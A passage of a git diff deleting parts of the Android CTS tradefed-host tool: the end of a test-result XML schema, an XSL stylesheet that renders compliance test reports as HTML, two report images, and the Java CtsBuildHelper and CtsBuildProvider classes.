-          <xs:element name="ValueArray" minOccurs="0" maxOccurs="unbounded">
-            <xs:complexType>
-              <xs:sequence>
-                <xs:element name="Value" type="xs:decimal" minOccurs="0" maxOccurs="unbounded" />
-              </xs:sequence>
-              <xs:attribute name="source" type="xs:string" use="required" />
-              <xs:attribute name="message" type="xs:string" use="required" />
-              <xs:attribute name="scoreType" type="scoreTypeType" use="required" />
-              <xs:attribute name="unit" type="unitType" use="required" />
-            </xs:complexType>
-          </xs:element>
-        </xs:sequence>
-      </xs:complexType>
-    </xs:element>
-  </xs:sequence>
-  <xs:attribute name="name" type="xs:string" use="required"/>
-  <xs:attribute name="result" type="resultType" use="required"/>
-  <xs:attribute name="starttime" type="xs:string"/>
-  <xs:attribute name="endtime" type="xs:string"/>
-</xs:complexType>
-
-<xs:simpleType name="resultType">
-  <xs:restriction base="xs:string">
-    <xs:enumeration value="pass"/>
-    <xs:enumeration value="fail"/>
-    <xs:enumeration value="timeout"/>
-    <xs:enumeration value="notExecuted"/>
-    <xs:enumeration value="omitted"/>
-  </xs:restriction>
-</xs:simpleType>
-</xs:schema>
diff --git a/tools/tradefed-host/res/report/cts_result.xsl b/tools/tradefed-host/res/report/cts_result.xsl
deleted file mode 100644
index 3b92527..0000000
--- a/tools/tradefed-host/res/report/cts_result.xsl
+++ /dev/null
@@ -1,636 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2008 The Android Open Source Project
-
-    Licensed under the Apache License, Version 2.0 (the "License");
-    you may not use this file except in compliance with the License.
-    You may obtain a copy of the License at
-
-        http://www.apache.org/licenses/LICENSE-2.0
-
-    Unless required by applicable law or agreed to in writing, software
-    distributed under the License is distributed on an "AS IS" BASIS,
-    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-    See the License for the specific language governing permissions and
-    limitations under the License.
--->
-
-<!DOCTYPE xsl:stylesheet [ <!ENTITY nbsp "&#160;"> ]>
-<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
-    <xsl:output method="html" version="1.0" encoding="UTF-8" indent="yes"/>
-
-    <xsl:template match="/">
-
-        <html>
-            <head>
-                <title>Test Report for <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@build_model" /> - <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@deviceID"/></title>
-                <script>
-                    function toggle(id) {
-                        e = document.getElementById(id)
-                        e.style.display = e.style.display == "none" ? "block" : "none"
-                    }
-                </script>
-                <STYLE type="text/css">
-                    @import "cts_result.css";
-                </STYLE>
-            </head>
-            <body>
-                <DIV>
-                    <TABLE class="title">
-                        <TR>
-                            <TD width="40%" align="left"><img src="logo.gif"></img></TD>
-                            <TD width="60%" align="left">
-                                <h1>Test Report for <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@build_model"/> -
-                                    <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@deviceID"/>
-                                </h1>
-                            </TD>
-                        </TR>
-                    </TABLE>
-                </DIV>
-                <img src="newrule-green.png" align="left"></img>
-
-                <br></br>
-
-                <center>
-                    <a href="#" onclick="toggle('summary');">Show Device Information</a>
-                </center>
-
-                <br></br>
-
-                <DIV id="summary" style="display: none">
-                    <TABLE class="summary">
-                        <TR>
-                            <TH colspan="2">Device Information</TH>
-                        </TR>
-                        <TR>
-                            <TD width="50%">
-                                <!-- Device information -->
-                                <TABLE>
-                                    <TR>
-                                        <TD class="rowtitle">Build Model</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@build_model"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Build Product</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@buildName"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Build Brand</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@build_brand"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Build Manufacturer</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@build_manufacturer"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Device ID</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@deviceID"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Android Version</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@buildVersion"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Build ID</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@buildID"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Build Fingerprint</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@build_fingerprint"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Build ABI</TD>
-                                        <TD>
-                                            <xsl:value-of
-                                              select="TestResult/DeviceInfo/BuildInfo/@build_abi"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Build ABI2</TD>
-                                        <TD>
-                                            <xsl:value-of
-                                              select="TestResult/DeviceInfo/BuildInfo/@build_abi2"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Android API Level</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@androidPlatformVersion"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Supported Locales</TD>
-                                        <TD>
-                                            <xsl:call-template name="formatDelimitedString">
-                                                <xsl:with-param name="string" select="TestResult/DeviceInfo/BuildInfo/@locales"/>
-                                            </xsl:call-template>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Low RAM Device</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/MemoryInfo/@is_low_ram_device"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Memory Class</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/MemoryInfo/@memory_class"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Large Memory Class</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/MemoryInfo/@large_memory_class"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Total Memory</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/MemoryInfo/@total_memory"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Screen Size</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/Screen/@screen_size"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Resolution</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/Screen/@resolution"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Density</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/Screen/@screen_density"/>
-                                            (<xsl:value-of select="TestResult/DeviceInfo/Screen/@screen_density_bucket"/>)
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Phone number</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/PhoneSubInfo/@subscriberId"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">X dpi</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@Xdpi"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Y dpi</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@Ydpi"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Touch</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@touch"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Navigation</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@navigation"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Keypad</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@keypad"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Network</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@network"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">IMEI</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@imei"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">IMSI</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@imsi"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Open GL ES Version</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@openGlEsVersion"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Open GL Compressed Texture Formats</TD>
-                                        <TD>
-                                            <UL>
-                                                <xsl:for-each select="TestResult/DeviceInfo/OpenGLCompressedTextureFormatsInfo/TextureFormat">
-                                                    <LI><xsl:value-of select="@name" /></LI>
-                                                </xsl:for-each>
-                                            </UL>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Root Processes</TD>
-                                        <TD>
-                                            <UL>
-                                                <xsl:for-each select="TestResult/DeviceInfo/ProcessInfo/Process[@uid='0']">
-                                                    <LI><xsl:value-of select="@name" /></LI>
-                                                </xsl:for-each>
-                                            </UL>
-                                        </TD>
-                                    </TR>
-
-                                </TABLE>
-                            </TD>
-
-                            <TD width="50%">
-                                <TABLE>
-
-                                    <TR>
-                                        <TD class="rowtitle">Features</TD>
-                                        <TD>
-                                            <xsl:for-each select="TestResult/DeviceInfo/FeatureInfo/Feature[@type='sdk']">
-                                                <xsl:text>[</xsl:text>
-                                                <xsl:choose>
-                                                    <xsl:when test="@available = 'true'">
-                                                        <xsl:text>X</xsl:text>
-                                                    </xsl:when>
-                                                    <xsl:otherwise>
-                                                        <xsl:text>_</xsl:text>
-                                                    </xsl:otherwise>
-                                                </xsl:choose>
-                                                <xsl:text>] </xsl:text>
-
-                                                <xsl:value-of select="@name" />
-                                                <br />
-                                            </xsl:for-each>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Other Features</TD>
-                                        <TD>
-                                            <UL>
-                                                <xsl:for-each select="TestResult/DeviceInfo/FeatureInfo/Feature[@type='other']">
-                                                    <LI><xsl:value-of select="@name" /></LI>
-                                                </xsl:for-each>
-                                            </UL>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">System Libraries</TD>
-                                        <TD>
-                                            <UL>
-                                                <xsl:for-each select="TestResult/DeviceInfo/SystemLibrariesInfo/Library">
-                                                    <LI><xsl:value-of select="@name" /></LI>
-                                                </xsl:for-each>
-                                            </UL>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Partitions</TD>
-                                        <TD>
-                                            <pre>
-                                                <xsl:call-template name="formatDelimitedString">
-                                                    <xsl:with-param name="string" select="TestResult/DeviceInfo/BuildInfo/@partitions" />
-                                                    <xsl:with-param name="numTokensPerRow" select="1" />
-                                                </xsl:call-template>
-                                            </pre>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Storage devices</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@storage_devices"/>
-                                        </TD>
-                                    </TR>
-                                    <TR>
-                                        <TD class="rowtitle">Multi-user support</TD>
-                                        <TD>
-                                            <xsl:value-of select="TestResult/DeviceInfo/BuildInfo/@multi_user"/>
-                                        </TD>
-                                    </TR>
-                                </TABLE>
-                            </TD>
-                        </TR>
-                    </TABLE>
-                    <br />
-                    <br />
-                </DIV>
-
-                <DIV>
-                    <TABLE class="summary">
-                        <TR>
-                            <TH colspan="2">Test Summary</TH>
-                        </TR>
-                        <TR>
-                            <TD class="rowtitle">CTS version</TD>
-                            <TD>
-                                <xsl:value-of select="TestResult/HostInfo/Cts/@version"/>
-                            </TD>
-                        </TR>
-                        <TR>
-                            <TD class="rowtitle">Test timeout</TD>
-                            <TD>
-                                <xsl:value-of select="TestResult/HostInfo/Cts/IntValue[@name='testStatusTimeoutMs']/@value" /> ms
-                            </TD>
-                        </TR>
-                        <TR>
-                            <TD class="rowtitle">Host Info</TD>
-                            <TD>
-                                <xsl:value-of select="TestResult/HostInfo/@name"/>
-                                (<xsl:value-of select="TestResult/HostInfo/Os/@name"/> - <xsl:value-of select="TestResult/HostInfo/Os/@version"/>)
-                            </TD>
-                        </TR>
-                        <TR>
-                            <TD class="rowtitle">Plan name</TD>
-                            <TD>
-                                <xsl:value-of select="TestResult/@testPlan"/>
-                            </TD>
-                        </TR>
-                        <TR>
-                            <TD class="rowtitle">Start time</TD>
-                            <TD>
-                                <xsl:value-of select="TestResult/@starttime"/>
-                            </TD>
-                        </TR>
-                        <TR>
-                            <TD class="rowtitle">End time</TD>
-                            <TD>
-                                <xsl:value-of select="TestResult/@endtime"/>
-                            </TD>
-                        </TR>
-                        <TR>
-                            <TD class="rowtitle">Tests Passed</TD>
-                            <TD>
-                                <xsl:value-of select="TestResult/Summary/@pass"/>
-                            </TD>
-                        </TR>
-                        <TR>
-                            <TD class="rowtitle">Tests Failed</TD>
-                            <TD>
-                                <xsl:value-of select="TestResult/Summary/@failed"/>
-                            </TD>
-                        </TR>
-                        <TR>
-                            <TD class="rowtitle">Tests Timed out</TD>
-                            <TD>
-                                <xsl:value-of select="TestResult/Summary/@timeout"/>
-                            </TD>
-                        </TR>
-                        <TR>
-                            <TD class="rowtitle">Tests Not Executed</TD>
-                            <TD>
-                                <xsl:value-of select="TestResult/Summary/@notExecuted"/>
-                            </TD>
-                        </TR>
-                    </TABLE>
-                </DIV>
-
-                <!-- High level summary of test execution -->
-                <h2 align="center">Test Summary by Package</h2>
-                <DIV>
-                    <TABLE class="testsummary">
-                        <TR>
-                            <TH>Test Package</TH>
-                            <TH>Passed</TH>
-                            <TH>Failed</TH>
-                            <TH>Timed Out</TH>
-                            <TH>Not Executed</TH>
-                            <TH>Total Tests</TH>
-                        </TR>
-                        <xsl:for-each select="TestResult/TestPackage">
-                            <TR>
-                                <TD>
-                                    <xsl:variable name="href"><xsl:value-of select="@appPackageName"/></xsl:variable>
-                                    <a href="#{$href}"><xsl:value-of select="@appPackageName"/></a>
-                                </TD>
-                                <TD>
-                                    <xsl:value-of select="count(TestSuite//Test[@result = 'pass'])"/>
-                                </TD>
-                                <TD>
-                                    <xsl:value-of select="count(TestSuite//Test[@result = 'fail'])"/>
-                                </TD>
-                                <TD>
-                                    <xsl:value-of select="count(TestSuite//Test[@result = 'timeout'])"/>
-                                </TD>
-                                <TD>
-                                    <xsl:value-of select="count(TestSuite//Test[@result = 'notExecuted'])"/>
-                                </TD>
-                                <TD>
-                                    <xsl:value-of select="count(TestSuite//Test)"/>
-                                </TD>
-                            </TR>
-                        </xsl:for-each> <!-- end package -->
-                    </TABLE>
-                </DIV>
-
-                <xsl:call-template name="filteredResultTestReport">
-                    <xsl:with-param name="header" select="'Test Failures'" />
-                    <xsl:with-param name="resultFilter" select="'fail'" />
-                </xsl:call-template>
-
-                <xsl:call-template name="filteredResultTestReport">
-                    <xsl:with-param name="header" select="'Test Timeouts'" />
-                    <xsl:with-param name="resultFilter" select="'timeout'" />
-                </xsl:call-template>
-
-                <h2 align="center">Detailed Test Report</h2>
-                <xsl:call-template name="detailedTestReport" />
-
-            </body>
-        </html>
-    </xsl:template>
-
-    <xsl:template name="filteredResultTestReport">
-        <xsl:param name="header" />
-        <xsl:param name="resultFilter" />
-        <xsl:variable name="numMatching" select="count(TestResult/TestPackage/TestSuite//TestCase/Test[@result=$resultFilter])" />
-        <xsl:if test="$numMatching &gt; 0">
-            <h2 align="center"><xsl:value-of select="$header" /> (<xsl:value-of select="$numMatching"/>)</h2>
-            <xsl:call-template name="detailedTestReport">
-                <xsl:with-param name="resultFilter" select="$resultFilter"/>
-            </xsl:call-template>
-        </xsl:if>
-    </xsl:template>
-
-    <xsl:template name="detailedTestReport">
-        <xsl:param name="resultFilter" />
-        <DIV>
-            <xsl:for-each select="TestResult/TestPackage">
-                <xsl:if test="$resultFilter=''
-                        or count(TestSuite//TestCase/Test[@result=$resultFilter]) &gt; 0">
-
-                    <TABLE class="testdetails">
-                        <TR>
-                            <TD class="package" colspan="3">
-                                <xsl:variable name="href"><xsl:value-of select="@appPackageName"/></xsl:variable>
-                                <a name="{$href}">Compatibility Test Package: <xsl:value-of select="@appPackageName"/>
-                                <xsl:if test="@abi">
-                                  ABI: <xsl:value-of select="@abi"/>
-                                </xsl:if>
-                                </a>
-                            </TD>
-                        </TR>
-
-                        <TR>
-                            <TH width="30%">Test</TH>
-                            <TH width="5%">Result</TH>
-                            <TH>Details</TH>
-                        </TR>
-
-                        <!-- test case -->
-                        <xsl:for-each select="TestSuite//TestCase">
-
-                            <xsl:if test="$resultFilter='' or count(Test[@result=$resultFilter]) &gt; 0">
-                                <!-- emit a blank row before every test suite name -->
-                                <xsl:if test="position()!=1">
-                                    <TR><TD class="testcasespacer" colspan="3"></TD></TR>
-                                </xsl:if>
-
-                                <TR>
-                                    <TD class="testcase" colspan="3">
-                                        <xsl:for-each select="ancestor::TestSuite">
-                                            <xsl:if test="position()!=1">.</xsl:if>
-                                            <xsl:value-of select="@name"/>
-                                        </xsl:for-each>
-                                        <xsl:text>.</xsl:text>
-                                        <xsl:value-of select="@name"/>
-                                    </TD>
-                                </TR>
-                            </xsl:if>
-
-                            <!-- test -->
-                            <xsl:for-each select="Test">
-                                <xsl:if test="$resultFilter='' or $resultFilter=@result">
-                                    <TR>
-                                        <TD class="testname"> -- <xsl:value-of select="@name"/></TD>
-
-                                        <!-- test results -->
-                                        <xsl:choose>
-                                            <xsl:when test="string(@KnownFailure)">
-                                                <!-- "pass" indicates the that test actually passed (results have been inverted already) -->
-                                                <xsl:if test="@result='pass'">
-                                                    <TD class="pass">
-                                                        <div style="text-align: center; margin-left:auto; margin-right:auto;">
-                                                            Known problem
-                                                        </div>
-                                                    </TD>
-                                                    <TD class="failuredetails"></TD>
-                                                </xsl:if>
-
-                                                <!-- "fail" indicates that a known failure actually passed (results have been inverted already) -->
-                                                <xsl:if test="@result='fail'">
-                                                    <TD class="failed">
-                                                        <div style="text-align: center; margin-left:auto; margin-right:auto;">
-                                                            <xsl:value-of select="@result"/>
-                                                        </div>
-                                                    </TD>
-                                                   <TD class="failuredetails">
-                                                        <div class="details">
-                                                            A test that was a known failure actually passed. Please check.
-                                                        </div>
-                                                   </TD>
-                                                </xsl:if>
-                                            </xsl:when>
-
-                                            <xsl:otherwise>
-                                                <xsl:if test="@result='pass'">
-                                                    <TD class="pass">
-                                                        <div style="text-align: center; margin-left:auto; margin-right:auto;">
-                                                            <xsl:value-of select="@result"/>
-                                                        </div>
-                                                    </TD>
-                                                    <TD class="failuredetails"/>
-                                                </xsl:if>
-
-                                                <xsl:if test="@result='fail'">
-                                                    <TD class="failed">
-                                                        <div style="text-align: center; margin-left:auto; margin-right:auto;">
-                                                            <xsl:value-of select="@result"/>
-                                                        </div>
-                                                    </TD>
-                                                    <TD class="failuredetails">
-                                                        <div class="details">
-                                                            <xsl:value-of select="FailedScene/@message"/>
-                                                        </div>
-                                                    </TD>
-                                                </xsl:if>
-
-                                                <xsl:if test="@result='timeout'">
-                                                    <TD class="timeout">
-                                                        <div style="text-align: center; margin-left:auto; margin-right:auto;">
-                                                            <xsl:value-of select="@result"/>
-                                                        </div>
-                                                    <TD class="failuredetails"></TD>
-                                                    </TD>
-                                                </xsl:if>
-
-                                                <xsl:if test="@result='notExecuted'">
-                                                    <TD class="notExecuted">
-                                                        <div style="text-align: center; margin-left:auto; margin-right:auto;">
-                                                            <xsl:value-of select="@result"/>
-                                                        </div>
-                                                    </TD>
-                                                    <TD class="failuredetails"></TD>
-                                                </xsl:if>
-                                            </xsl:otherwise>
-                                        </xsl:choose>
-                                    </TR> <!-- finished with a row -->
-                                </xsl:if>
-                            </xsl:for-each> <!-- end test -->
-                        </xsl:for-each> <!-- end test case -->
-                    </TABLE>
-                </xsl:if>
-            </xsl:for-each> <!-- end test package -->
-        </DIV>
-    </xsl:template>
-
-    <!-- Take a delimited string and insert line breaks after a some number of elements. -->
-    <xsl:template name="formatDelimitedString">
-        <xsl:param name="string" />
-        <xsl:param name="numTokensPerRow" select="10" />
-        <xsl:param name="tokenIndex" select="1" />
-        <xsl:if test="$string">
-            <!-- Requires the last element to also have a delimiter after it. -->
-            <xsl:variable name="token" select="substring-before($string, ';')" />
-            <xsl:value-of select="$token" />
-            <xsl:text>&#160;</xsl:text>
-
-            <xsl:if test="$tokenIndex mod $numTokensPerRow = 0">
-                <br />
-            </xsl:if>
-
-            <xsl:call-template name="formatDelimitedString">
-                <xsl:with-param name="string" select="substring-after($string, ';')" />
-                <xsl:with-param name="numTokensPerRow" select="$numTokensPerRow" />
-                <xsl:with-param name="tokenIndex" select="$tokenIndex + 1" />
-            </xsl:call-template>
-        </xsl:if>
-    </xsl:template>
-
-</xsl:stylesheet>
diff --git a/tools/tradefed-host/res/report/logo.gif b/tools/tradefed-host/res/report/logo.gif
deleted file mode 100644
index 61970b3..0000000
--- a/tools/tradefed-host/res/report/logo.gif
+++ /dev/null
Binary files differ
diff --git a/tools/tradefed-host/res/report/newrule-green.png b/tools/tradefed-host/res/report/newrule-green.png
deleted file mode 100644
index 10a4194..0000000
--- a/tools/tradefed-host/res/report/newrule-green.png
+++ /dev/null
Binary files differ
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/build/CtsBuildHelper.java b/tools/tradefed-host/src/com/android/cts/tradefed/build/CtsBuildHelper.java
deleted file mode 100644
index 1a9f04b..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/build/CtsBuildHelper.java
+++ /dev/null
@@ -1,177 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.build;
-
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.build.IFolderBuildInfo;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-
-/**
- * Helper class for retrieving files from the CTS install.
- * <p/>
- * Encapsulates the filesystem layout of the CTS installation.
- */
-public class CtsBuildHelper {
-
-    static final String CTS_DIR_NAME = "old-android-cts";
-    private final String mSuiteName = "OLD-CTS";
-    /** The root location of the extracted CTS package */
-    private final File mRootDir;
-    /** the {@link #CTS_DIR_NAME} directory */
-    private final File mCtsDir;
-
-    /**
-     * Creates a {@link CtsBuildHelper}.
-     *
-     * @param rootDir the parent folder that contains the "android-cts" directory and all its
-     *            contents.
-     */
-    public CtsBuildHelper(File rootDir) {
-        mRootDir = rootDir;
-        mCtsDir = new File(mRootDir, CTS_DIR_NAME);
-    }
-
-    /**
-     * Alternate {@link CtsBuildHelper} constructor that takes the {@link IFolderBuildInfo}
-     * representation of a CTS build.
-     *
-     * @param build the {@link IFolderBuildInfo}
-     * @throws FileNotFoundException
-     */
-    public CtsBuildHelper(IFolderBuildInfo build) throws FileNotFoundException {
-        this(build.getRootDir());
-    }
-
-    /**
-     * A helper factory method that creates and validates a {@link CtsBuildHelper} given an
-     * {@link IBuildInfo}.
-     *
-     * @param build the {@link IBuildInfo}
-     * @return the {@link CtsBuildHelper}
-     * @throws IllegalArgumentException if provided <var>build</var> is not a valid CTS build
-     */
-    public static CtsBuildHelper createBuildHelper(IBuildInfo build) {
-        if (!(build instanceof IFolderBuildInfo)) {
-            throw new IllegalArgumentException(String.format(
-                    "Wrong build type. Expected %s, received %s", IFolderBuildInfo.class.getName(),
-                    build.getClass().getName()));
-        }
-        try {
-            CtsBuildHelper ctsBuild = new CtsBuildHelper((IFolderBuildInfo)build);
-            ctsBuild.validateStructure();
-            return ctsBuild;
-        } catch (FileNotFoundException e) {
-            throw new IllegalArgumentException("Invalid CTS build provided.", e);
-        }
-    }
-
-    public String getSuiteName() {
-        return mSuiteName;
-    }
-
-    /**
-     * @return a {@link File} representing the parent folder of the CTS installation
-     */
-    public File getRootDir() {
-        return mRootDir;
-    }
-
-    /**
-     * @return a {@link File} representing the "android-cts" folder of the CTS installation
-     */
-    public File getCtsDir() {
-        return mCtsDir;
-    }
-
-    /**
-     * @return a {@link File} representing the test application file with given name
-     * @throws FileNotFoundException if file does not exist
-     */
-    public File getTestApp(String appFileName) throws FileNotFoundException {
-        File apkFile = new File(getTestCasesDir(), appFileName);
-        if (!apkFile.exists()) {
-            throw new FileNotFoundException(String.format("CTS test app file %s does not exist",
-                    apkFile.getAbsolutePath()));
-        }
-        return apkFile;
-    }
-
-    private File getRepositoryDir() {
-        return new File(getCtsDir(), "repository");
-    }
-
-    /**
-     * @return a {@link File} representing the results directory.
-     */
-    public File getResultsDir() {
-        return new File(getRepositoryDir(), "results");
-    }
-
-    /**
-     * @return a {@link File} representing the directory to store result logs.
-     */
-    public File getLogsDir() {
-        return new File(getRepositoryDir(), "logs");
-    }
-
-    /**
-     * @return a {@link File} representing the test cases directory
-     */
-    public File getTestCasesDir() {
-        return new File(getRepositoryDir(), "testcases");
-    }
-
-    /**
-     * @return a {@link File} representing the test plan directory
-     */
-    public File getTestPlansDir() {
-        return new File(getRepositoryDir(), "plans");
-    }
-
-    /**
-     * @return a {@link File} representing the test plan with given name. note: no attempt will be
-     * made to ensure the plan actually exists
-     * @throws FileNotFoundException if plans directory does not exist
-     */
-    public File getTestPlanFile(String planName) throws FileNotFoundException {
-        String ctsPlanRelativePath = String.format("%s.xml", planName);
-        return new File(getTestPlansDir(), ctsPlanRelativePath);
-    }
-
-    /**
-     * Check the validity of the CTS build file system structure.
-     * @throws FileNotFoundException if any major directories are missing
-     */
-    public void validateStructure() throws FileNotFoundException {
-        if (!getCtsDir().exists()) {
-            throw new FileNotFoundException(String.format(
-                    "CTS install folder %s does not exist", getCtsDir().getAbsolutePath()));
-        }
-        if (!getTestCasesDir().exists()) {
-            throw new FileNotFoundException(String.format(
-                    "CTS test cases folder %s does not exist",
-                    getTestCasesDir().getAbsolutePath()));
-        }
-        if (!getTestPlansDir().exists()) {
-            throw new FileNotFoundException(String.format(
-                    "CTS test plans folder %s does not exist",
-                    getTestPlansDir().getAbsolutePath()));
-        }
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/build/CtsBuildProvider.java b/tools/tradefed-host/src/com/android/cts/tradefed/build/CtsBuildProvider.java
deleted file mode 100644
index 7cdbedb..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/build/CtsBuildProvider.java
+++ /dev/null
@@ -1,120 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.build;
-
-import com.android.tradefed.build.BuildRetrievalError;
-import com.android.tradefed.build.DeviceBuildInfo;
-import com.android.tradefed.build.FolderBuildInfo;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.build.IBuildProvider;
-import com.android.tradefed.build.IDeviceBuildProvider;
-import com.android.tradefed.build.IFolderBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-
-import java.io.File;
-import java.util.regex.Pattern;
-
-/**
- * A simple {@link IBuildProvider} that uses a pre-existing CTS install.
- */
-public class CtsBuildProvider implements IDeviceBuildProvider {
-
-    private static final Pattern RELEASE_BUILD = Pattern.compile("^[A-Z]{3}\\d{2}[A-Z]{0,1}$");
-
-    @Option(name="cts-install-path", description="the path to the cts installation to use")
-    private String mCtsRootDirPath = System.getProperty("CTS_ROOT");
-
-    @Option(name="use-device-build-info", description="Bootstrap build info from device")
-    private boolean mUseDeviceBuildInfo = false;
-
-    @Option(name="test-tag", description="test tag name to supply.")
-    private String mTestTag = "cts";
-
-    @Option(name="branch", description="build branch name to supply.")
-    private String mBranch = null;
-
-    public static final String CTS_BUILD_VERSION = "7.0_r0";
-    public static final String CTS_PACKAGE = "com.android.cts.tradefed.testtype";
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
